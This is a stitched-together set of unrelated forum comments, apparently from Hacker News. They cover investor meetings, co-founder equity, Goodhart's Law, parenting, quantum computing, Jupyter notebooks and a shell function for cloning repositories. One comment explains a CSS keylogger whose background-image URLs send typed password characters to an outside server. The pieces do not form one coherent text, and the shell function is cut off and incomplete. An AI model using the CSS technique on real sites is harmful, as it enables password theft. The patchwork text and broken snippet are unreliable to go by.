Good question. Speaking just for me: if I leave feeling "default not invest" then I will just write a pass email. If I leave feeling interested but wanting to know more, that's when I will ask more questions. If it's 2-5 questions, it'll probably be over email. If it's >5, I'll probably suggest a quick call instead.

Factual answers have sometimes swayed me in a positive direction when I'm skeptical about some number or claim and the founder's answer is strong and changes my mind. They've also swayed me in a negative direction when I'm skeptical or confused about something and a so-so answer takes me from a "maybe" to a "no".

I think it's interesting to know, and certainly part of the pop-culture for the AI scene. So folks interested in AI might be interested even though they'll never join Google. The page also explains how the program works.

There's a link on the top of HN front page right now:

There's a Persistent Hum in Windsor, Ontario

I'm actually not sure what percent is actually interested in those sort of articles, but oh well, they're there because the HN community has voted on them.
Looking at the small town where I grew up, people in the generations before mine had the luxury that the friends they made in kindergarten pretty much lived next door to them their entire lives. They went to school together, they worked together, they saw each other all the time around town, they played softball and pickup basketball together on town teams, they married into large extended families, and their kids went to school together. For my generation, that's broken down, ultimately because that local economy has faltered and died. We had to go out into the world and make our way in a mass of strangers, without that deeply ingrained commonality to fall back on. And that's hard.
the point is that react updates the attribute every time you type a character into the password field. So if you have the rules for background-image: url("http://your.server/a"); for password fields that END with 'a', and a rule background-image: url("http://your.server/b"); for password fields that END with 'b', if you type "ab", after the a, the value attribute is updated and the css will request the background for passwords that end with 'a', then when you type b, the attribute is updated again and the css will request the password for 'b's. so you check your server logs and you will have 2 requests, one for a and one for b. you now know that they typed "ab".

Most people in the comments don't seem to understand how this works.
i.e. you don't need to have rules for all possible passwords, just one for each character.
Your observation is related to something called Goodhart's Law: https://en.wikipedia.org/wiki/Goodhart%27s_law

I guess thinking about this increases my sympathy for search engines and spam filters not being transparent about the algorithmic bases for their rankings, even in a week when I've had some personal e-mail blocked as a spam false positive. The resources that are getting put into discovering how to game those scores are staggering.

I assume there are also exceptions to Goodhart's Law in terms of metrics that effectively can't be gamed, or that otherwise better manage to align different groups' incentives.
I've been in a company like this and know of others — it's a real pain point when those metrics that funding is tied to turned out to be less relevant than you initially thought or distraction more than true traction indicators. For example, measuring the number of sessions a user has in your app vs the amount of engaged time per user.

I'm not doubting your numbers - or your end results and I'm also not arguing about whether certain segments of the population get treated unfairly in the criminal justice system. I'm all for criminal justice reform as I've said repeatedly.

But you haven't just been talking about unfairness in the criminal justice system. You have also been arguing that the white male is being discriminated against in other parts of society - including the education system and the labor market.

But now you are claiming that there is discrimination against men because there are fewer male teachers? Most of the studies and surveys show women make less men partially because they choose professions that are more conducive to raising a family - like teachers. Most women I know who are teachers cite that as a reason that they became teachers - because their work schedules are aligned with their children's school schedules. Including having summers off.

Again, you are pointing to outcome without showing any links to a correlation between discrimination and the outcome. If you really want to change policy based on statistics and outcome, you would be arguing more in favor of wealth being redistributed to minorities and women - no I'm not arguing that.

OK, so which goalposts would you like us to aim for here? If you want to be healthy, eat a balanced diet. If you want weight loss, then eat less food than you burn, using a feedback loop to adjust our dietary intake. If you want fitness, do some cardio. If you want strength, lift some weights. If you want all of these things, then do all of these things.
The point is to stop people speeding in every location, so how does this achieve that?

> It's part of our process. If you don't do well with the first meeting -- regardless of whether it's with a partner, associate, or both -- the process ends. If you do well, again regardless of whom it's with, we'll ask to do a 2nd meeting where we can go deeper.

Great post, going to nitpick here: it doesn't matter what you consider a meeting, it matters what the founder considers it. A meeting with an Associate is not a meeting. It's a "get to know you" - it's not a real meeting until a GP is involved. That's the only time when there's money on the table. And if there's money on the table and there's not a "default invest", that's when you (as a founder) should mentally divest from the relationship. This is, as I understand, literally stock advice from most accelerators and experienced Angels / founders. In fact, I think the general advice is, "do not take meetings from Associates at all if you can avoid it. Get to a GP as fast as is humanly possible."
With respect to your parent comment: the IDE can be made to log UI context switches, but it cannot interpret intention. This is a very unusual and I suspect very sub-optimal thing for an IDE to support, whatever year it is supposed to have been built. If you really want those events to be recorded, you need to either annotate your code, or programatically have it invoke something.

As for graphics updating on file-change event, that can probably be supported through an extension. This is similar to how certain LaTeX editors automatically re-render the doc on a change-event.

I don't know where you live, but in my town it's very common to bring children to have a beer. The local brewery even has complimentary diapers in the mens bathroom. I count myself lucky to have that as an option, but even if I didn't I would see if friends wanted to go down to the waterfront to have a beer and let my kiddo run around happy as can be.

Travel is certainly more difficult than it used to be, but I've found that the types of trips I used to turn my nose up at (all-inclusive resort-ish) are appealing in a completely new way. We can put the toddler down to bed, set up a baby monitor, and go down and enjoy ourselves like we're actually adults, often meeting new folks.
I doubt that changes much about what they said.
I think it depends on the context. It's a bigger deal to be late to a lunch invitation with one other person than to show up late to a party.
It also looks to me like it's braking very late at times. That's not the sort of caution that one would expect from a prototype.
Ask HN: Is it crazy to get a co-founder? 50% seems a huge price to pay
OK say you are a technical single founder and you have built your product.

All the advice is to get a co founder, but usually that means 50% ownership right?

Seems a high price to pay when getting an injection of capital might only cost 20% of the company.

If you are a technical single founder with a completed product, wouldn't it be crazy to get a sales oriented cofounder at 50% of equity?

Boo hoo, my guess it’s not SV but rather the wrong bet on Trump. Peter realized that his bet on trump failed and that his personal brand is too toxic. Once the Mueller investigation ends and FB faces increased regulations, Thiel will be the first one in the line to be deposed to appease angry public. He knows this too well, so instead the talk about leaving SV.
It's pretty common to check values of a field and set a color to the border etc. based on that, which I think is even very good ui. Maybe browsers should force restricted selectors only on some fields, which only allow limited matching based on predefined character classes or el1 === el2, since it sounds like this could be used for a cross site css attack (perhaps there already were some and I am ignorant).
I enjoyed reading about the people in the program. I also read the articles about the New York Jets looking for a new quarterback even though I am not a candidate.
Asking factual questions isn't just for learning facts, it's also for seeing how someone things.

Example: "During the call you mentioned the market potential for a CRM for plumbers is $3b. When I did some napkin math I came up with $400m. Can I ask how you arrived at the $3b number?"

Bad answers: "Gartner says the market is $3b" or "CRMs are a $100b market overall, and plumbers are 3% of the workforce."

These are factual answers, but pretty weak.

Good answer: "There are 3.3m plumbers in the workforce. 30% of them are solo entrepreneurs, so they are unlikely to need a CRM. The other 2.3m spend 14 hours per month on managing their contact lists [citation]. We surveyed 30 plumbers and saw a willingness to pay $100/mo if we can reduce the 14 hours down to 2 hours. $100/mo x 12mo x 2.3m plumbers = $2.8b."

This is also a factual answer, but you can tell the founder thought about this more, they did customer development to get good data, etc. As an investor, an answer like this gives me a lot more confidence.
What's the point in having 100% ownership of a product without sales?
People take commuter buses with wifi, from Pennsylvania to NYC, with a 2 to 4 hour round trip. A few commute Boston to NYC on Amtrak Acela, with a 7-ish hour round trip (you can stand up and walk around, get coffee, etc).
It takes several seconds to load most web pages on modern browsers because modern browsers have more code in them than my operating system, my browser wants to load everything encrypted, and most web pages are designed to deliver so much unnecessary crap in such an obnoxious way as to make it take significantly longer on purpose just to get to the content.

Google's response is "No worries, we'll just download it for you, screw it up, and then present it to you." Thanks, Google. I didn't ask for that, but that sure never stops you from encroaching ever more into my life.

Incidentally, all ISPs could provide simple proxies that cache and return pages faster, but not with HTTPS. Google being our grand overlord and de facto tech nanny state, they would rather provide this solution themselves than allow ISPs to not do it perfectly (and at the same time siphon up any potential metadata that a carrier could use to monetize traffic going over its infrastructure)

Google didn't invent advertising-driven free services, but they sure as hell perfected it. Most of the annoyances on the web are due to free services - not latency. And mobile providers could prioritize latency over bandwidth, but lower latency does not sell new mobile plans.
Wow, I remember playing Spacewar on an IBM-XT, way back in the 80's. It was one of my favourite games back then, and if I recall correctly, the first 'multi player' game I ever played with my friends (with two people sharing the same keyboard). Incredible fun, and I remember being amazed by the physics and smooth animation.

I cannot recall though, if the game actually worked on the old IBM monochrome monitors that did not have a Hercules graphics card. I seem to remember that the developers hacked it to run graphically by manually manipulating the dots at the hardware level?! I could be wrong though.
I'm using Python for lab automation, so my data comes fresh from an experiment. I've found that keeping stuff in memory is extremely convenient until the kernel shuts down for some reason (e.g., I inadvertently kill it while forgetting that I've left a notebook open).

Still, I love having my data collection scripts documented right there with the subsequent analysis. So, I've disciplined myself to handle experimental data in one of two ways:

* For "small" data, format it as a Python thing (list, dict, whatever is appropriate), and paste it into the next cell as an input. I haven't found a way to do this automatically, and I'm careful not to make things too automatic lest I run a cell and over-write old data.

* For "big" data, dump it to a file. I just turn the system time into a filename, to avoid over-writing an old file.

I don't think I've come up with the last word, on using Jupyter as a self data collecting lab notebook, nor am I yet 100% certain that it's even a good idea. This is a work in progress, but much better than anything else I've ever tried. For complicated experiments, I still create stand alone Python programs to control things.

My First CS class at Berkeley (CS61A) was the last semester (Fall 2010, my first semester of college) where it was taught it in Scheme.

After that they apparently switched the class to python.

My professor was Brian Harvey whose doctoral advisor at MIT was one of the authors of the SICP book we used for the class.

It was a good book. One of the few CS textbooks I actually read. Many CS books are pretty badly written imo.

But there are a few that I consider very well written. This book was one of them.
Quantum computing is not yet territory for engineers. So far only the most rudimentary devices are being built, although IBM is wasting no time in their attempts to confuse as many people as possible with their PR. Quantum computer research is a reasonable field to try to get in to, but of course it's inside of academia (so you'd have to go back to school for that career change.)

Among researchers there remains some concern that no practical quantum computer will ever be built. The concerns are centered around practical limits in error correction (analogous to circuit noise). So, while now is a great time to be writing PR pieces about it, and an OK time to be researching it, it's a pretty bad time to be trying to engineer with it.

Here's Scott Aaronson, the most famous quantum information theory person there is: https://www.scottaaronson.com/blog/

GOPATH was weird to get used to at first, but I gave in and I actually store all my projects, even non-go projects, in the same folder hierarchy now. It has made me much more organized. In fact here's a zsh function I have for cloning new projects into that structure. It makes my home directory much less of a mess.

gclone() {
dir=$(echo $1 | sed 's/^http\(s*\):\/\///g' | sed 's/^git@//g' | sed 's/\.git$//g' | sed 's/:/\//g' )
git clone $1 "$HOME/src/$dir"

I think, there's too few positions for quantum software engineers taking into account that there're so few quantum computers. There're more people willing to work with quantum computers, than open positions. In 10 or 20 years there might be more positions, but until quantum computers become more affordable, there will be no mass employment in this profession.

It's always nice to learn new things, though, so I highly recommend learning about quantum computing and quantum mechanics. These are fascinating subjects.
But isn't a 1st meeting with a GP not a real meeting as well in that case? Because if money is not on the table at meeting #1 (whether with a GP or associate), then it's not a real meeting. And that means the only real meeting is the 3rd meeting (partner meeting)... but you can't get there without the first two "encounters" :).

The best case in business is when you tell a sales professional that they will get a percentage of whatever business they bring in, judged the moment when it's in accounts receivable. It's difficult to game a wire transfer from another company.

Education is very different than sales. I don't know what the solution is, especially when measuring "learning" itself is very difficult if not impossible.
It does not have to be 50/50. If you have been contributing for a while, it's perfectly reasonable to give them less. Figure out what role they'll play, and for how long, then put them on a vesting schedule.
As someone who regularly is late, I disagree. It's all a matter of consequences. I'm never late for a flight because I know it will cost me money. But I run late to work often because I know it the worse I'll get is some jokes. Unless I miss an important meeting, and then I make effort to be on time for.

Fashionably late only makes sense if the others can continue without you.

* 2 hours late to happy hour? glad you can make it, get a drink. (But don't expect me to stay another 2 hours)

* An hour late for D&D game? I guess we can start now. grumble-grumble wasted an hour of everyone elses time.

* 15 minutes late to carpool? You better have a good reason.
We haven’t heard your solution to the problem yet...
A bit of a late reply, sorry, but it's a great question.

We found many design decisions we had to confront - more than we expected. The largest two include 1) the decision to use an amino acid sequence as ground truth (and not DNA), and 2) the decision to make the language universally proscriptive (at the cost of being universally descriptive).

Anything you build in the system can be altered, broken apart, and itself be part of a larger whole - all while being manufacturable. But that comes at the cost that there are certain highly complicated overlapping synergistic type designs that just can't be made. Whereas with an entirely descriptive language one can describe the multi-layered fugue that is the HIV genome - but the construction rules become so lax that they lose their instructive capabilities, and can no longer logically guarantee constructibility.

The most interesting (and surprising?) thing we learned is that we now have the only data-structure that can reliable and efficiently answer questions of the sort of, "show me any/all designs that utilize the protein, _GFP_".
